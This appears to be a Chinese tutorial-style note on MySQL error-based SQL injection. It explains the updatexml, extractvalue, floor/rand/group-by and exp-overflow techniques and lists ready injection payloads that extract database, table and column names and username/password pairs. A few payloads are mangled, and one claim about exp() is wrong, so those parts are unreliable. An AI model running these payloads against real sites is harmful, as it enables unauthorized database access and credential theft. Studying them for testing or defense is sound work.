看书顺便记一下MySQL数据库报错注入的几种方法:updatexml、extractvalue、floor和exp。
updatexml和extractvalue:MySQL某些xml函数在处理xml数据出错时,会把出错的数据显现出来。需要注意的是,MySQL的版本要大于5.0。
floor:是由rand(),count(),group by三个函数语句联合使用产生报错。
exp:当传递一个大于709的值时,函数exp()就会引起一个溢出错误。需要注意的是,只有版本号大于5.5.5时,才会报错。
0x00 updatexml
它是更新xml文档的函数。语法如下:
UPDATEXML (XML_document, XPath_string, new_value);
XML_document:String格式,为XML文档对象的名称
XPath_string :Xpath格式的字符串
new_value:String格式,替换查找到的符合条件的数据
原理:
select updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
concat()函数是将里面的内容连成一个字符串,因此上述例子不符合updatexml函数中间的XPATH_string的格式,从而出现格式错误,爆出需要的内容。
爆数据库版本信息 ?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) 链接用户 ?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) 链接数据库 ?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) 爆库 ?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1) 爆表 ?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1) 爆字段 ?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1) 爆字段内容 ?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)
下面姿势里的make_set函数很有意思,当concat等常见的字符串拼接函数被过滤时,可以使用冷门的字符串处理函数绕过。花了半天才研究明白,我太笨了(爬
select make_set("3","a","b","c");
第一个参数是bits,首先将3转为二进制数0000 0011,倒过来是1100 0000,就会返回第一位和第二位,也就是“a”和“b”。
爆表名 ?no=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)# 爆列名 ?no=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)# 爆字段 ?no=1 and updatexml(1,make_set(3,'~',(select data from users)),1)#
0x01 extractvalue
and extractvalue(1,(concat(0x7e,(payload),0x7e)))
extractvalue() :extractvalue函数与updatexml函数类似,extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容。
语法:extractvalue(目标xml文档,xml路径)
其中第二个参数不符合XML路径格式就会报错。
extractvalue()能查询字符串的最大长度为32,就是说如果结果可能会超过32,就需要用substring()等函数截取。例如查询前五位:
select username from security.user where id=1 and (extractvalue('anything',concat('#',substring(hex((select database())),1,5))))
爆库名: id=1 and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1))) 爆表名: id=1 and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)))table_schema=database()
会获取当前连接的库数据table_schema='test'
会获取test库数据 爆字段名: id=1 and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_schema='test' and table_name='tdb_admin' limit 0,1))) 爆数据: id=1 and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x7e,字段名,0x3a,字段名,0x3a,字段名,0x7e) FROM 库名.表名 limit 0,1)))
0x02 floor
union select count(*),concat((查询语句),0x26,floor(rand(0)*2))x from information_schema.columns group by x;
floor():向下取整,相当于去掉小数部分。
rand():随机取(0,1)中的一个数。
rand(x): 每个x对应一个固定的值,但是如果连续执行多次值会变化,不过也是可预测的。rand(0)*2 取0到2的随机数,但值是固定的。
执行floor(rand(0)*2),floor函数结合固定的随机数种子0,它每次产生的随机数列都是相同的值。

原理:
rand()函数在查询的时候会执行一次,插入的时候还会执行一次。
首先会建立一张虚拟表,读取第一条数据,floor表达式第一次运算的值为0(1),虚拟表中没有这个数据,所以插入新数据,插入的时候再执行了一次为1(2),因此插入1计数1。
读取第二条数据,运算值为1(3),刚好表中有这个数据,所以计数2。
读取第三条数据,运算值为0(4),表中没有这个数据,所以要插入新数据,插入的时候再执行了一次为1,可已经存在了1这个主键,此时就会抛出主键冗余的异常(duplicate entry)。
爆库名: id=1" and (select 1 from (select count(*),(concat((select database()),floor(rand(0)*2)))x from information_schema.tables group by x)a)--+ 爆表名: id=1" and (select 1 from (select count(),(concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)2)))x from information_schema.tables group by x)a)--+ 爆列名: id=1" and (select 1 from (select count(*),(concat((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' ),floor(rand(0)*2)))x from information_schema.tables group by x)a)--+ 爆字段: id=1" and (select 1 from (select count(*),(concat((select concat_ws(' | ',username,password) from security.users limit 0,1),floor(rand(0)*2)))x from information_schema.tables group by x)a)--+
0x03 exp
select exp(~(select * from(select user())x));
在MySQL中,exp与log和ln的功能相反,log和ln都返回以e为底数的对数。
mysql> select log(15); +------------------+ | log(15) | +------------------+ | 2.70805020110221 | +------------------+ 1 row in set (0.00 sec) mysql> select ln(15); +------------------+ | ln(15) | +------------------+ | 2.70805020110221 | +------------------+ 1 row in set (0.00 sec)
指数函数为对数函数的反函数,exp()即为以e为底的对数函数。
mysql> select exp(2.70805020110221); +-----------------------+ | exp(2.70805020110221) | +-----------------------+ | 15 | +-----------------------+ 1 row in set (0.00 sec)
原理:
SQL语句中,函数成功执行后返回0(所以对其进行逻辑非的话就会变成1),将0按位取反后会得到18446744073709551615(最大的无符号值),如果对这个值进行数值表达式运算则会导致错误。
mysql> select exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
爆表名: select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)); 爆列名: select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)); 爆字段: select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));